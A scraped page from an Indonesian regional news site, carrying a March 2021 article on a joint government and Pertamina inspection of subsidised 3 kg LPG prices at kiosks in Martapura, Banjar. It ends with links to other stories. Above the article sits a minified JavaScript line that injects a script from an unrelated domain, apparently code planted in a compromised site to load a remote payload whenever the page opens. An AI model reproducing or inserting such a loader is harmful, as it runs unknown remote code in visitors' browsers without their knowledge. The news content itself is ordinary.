(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Pemilik kios pengecer LPG 3 Kg di Jalan Sukaramai, Martapura, dibikin terkejut.
Yusnaswa, pedagang eceran gas melon mengaku terkejut atas cek dadakan yang dilakukan di tempatnya berjualan. “Saya kira ada apa gitu, ternyata hanya sosialisasi saja,” akunya.
Ya, Kamis (4/3/2021) siang, Dinas Perindustrian dan Perdagangan (Disperindag) Kabupaten Banjar bersama PT Pertamina dan Satpol PP bersama Satgas Pangan melakukan cek harga LPG 3 Kg bersubsidi di beberapa warung serta pangkalan.
“Kalau merata semuanya harus tidak boleh lagi menjual gas 3 kilogram, ya saya sangat setuju, tetapi kalau tidak merata saya tidak setuju,” aku Yusnswa kepada Kanalkalimantan.com.
Dia juga mengatakan, dia menjual tabung gas melon sendiri berubah-ubah tidak menentu harganya.
“Kalau pelangsiranya murah, murah juga saya jual, kalau mahal, ya mahal juga, tetapi sangat jarang saya menjual mahal,” jelasnya.
Tim gabungan ini melakukan cek harga ke sejumlah kios di Jalan Suka Ramai Martapura, Jalan Melati Tunggul Irang dan Jalan Ahmad Yani Km 48 Desa Pingaran Ilir, Kecamatan Astambul.
Sesuai dengan Peraturan Presiden No 104 tahun 2007 dan Peraturan Menteri ESDM No. 26 tahun 2009 tentang penyediaan dan pendistribusian LPG 3 kg serta surat edaran Gubernur Kalimantan Selatan tentang penggunaan LPG 3 Kg.
Kepala Disperindag Banjar I Gusti Made Suryawati mengatakan, cek harga di lapangan bertujuan untuk kelancaran pendistribusian LPG kepada masyarakat tak mampu atau yang membutuhkan, sehingga tepat sasaran.
“Kita sudah menyisir warung-warung yang menjual LPG 3 Kg dengan rentang harga 30-35 ribu per tabung di Jalan Suka Ramai hingga ke pangkalan H Jairin, dimana ada informasi bahwa pangkalan tersebut menjual ke warung-warung,” sebut Kadisperindag Banjar.
Sementara, Sales Branch Manager 6 Pertamina Kalselteng Fajar Wasis menjelaskan, tindak lanjut dari pengecer nantinya LPG 3 Kg bersubsidi yang dijual akan ditukar dengan LPG 5,5 Kg.
“Tabung 3 Kg nanti akan dikonversi menjadi beberapa tabung 5,5 Kg,” kata Fajar Wasis.
Fajar Wasis menambahkan, untuk penyalahgunaan di pangkalan, seperti harga jual tidak sesuai dengan harga eceran tertinggi akan diberikan sanksi keras berupan Pemutusan Hubungan Usaha (PHU).
“Kita langsung tindak tegas penyalahgunaan di pangkalan karena meresahkan masyarakat, kami dari Pertamina juga mengajak masyarakat untuk terus mengawasi pendistribusian LPG bersubsidi agar tepat sasaran,” tambahnya. (kanalkalimantan.com/wahyu)
KANALKALIMANTAN.COM, BANJARBARU - Pasangan Calon Bupati dan Calon Wakil Bupati Banjar nomor urut 01, H… Read More
KANALKALIMANTAN.COM, MARTAPURA - Debat publik kedua calon bupati dan wakil bupati Kabupaten Banjar yang digelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Ratusan ASN di lingkungan Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mengikuti… Read More
KANALKALIMANTAN. COM, PARINGIN - Komisi Pemilihan Umum (KPU) Kabupaten Balangan menggelar debat terbuka kedua pasangan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More
This website uses cookies.